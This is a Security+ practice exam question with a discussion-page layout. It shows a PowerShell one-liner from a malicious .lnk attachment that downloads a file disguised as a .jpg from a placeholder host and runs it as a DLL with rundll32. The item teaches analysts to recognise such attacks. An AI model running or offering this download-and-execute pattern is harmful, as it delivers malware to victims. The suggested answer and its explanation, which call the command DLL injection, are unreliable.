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Question 239 - SY0-601 discussion

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An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:

C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll

Which of the following BEST describes what the analyst found?

A.
A Powershell code is performing a DLL injection.
Answers
A.
A Powershell code is performing a DLL injection.
B.
A PowerShell code is displaying a picture.
Answers
B.
A PowerShell code is displaying a picture.
C.
A PowerShell code is configuring environmental variables.
Answers
C.
A PowerShell code is configuring environmental variables.
D.
A PowerShell code is changing Windows Update settings.
Answers
D.
A PowerShell code is changing Windows Update settings.
Suggested answer: A

Explanation:

According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.

https://www.comptia.org/training/books/security-sy0-601-study-guide

asked 02/10/2024
Keletso Rafedile
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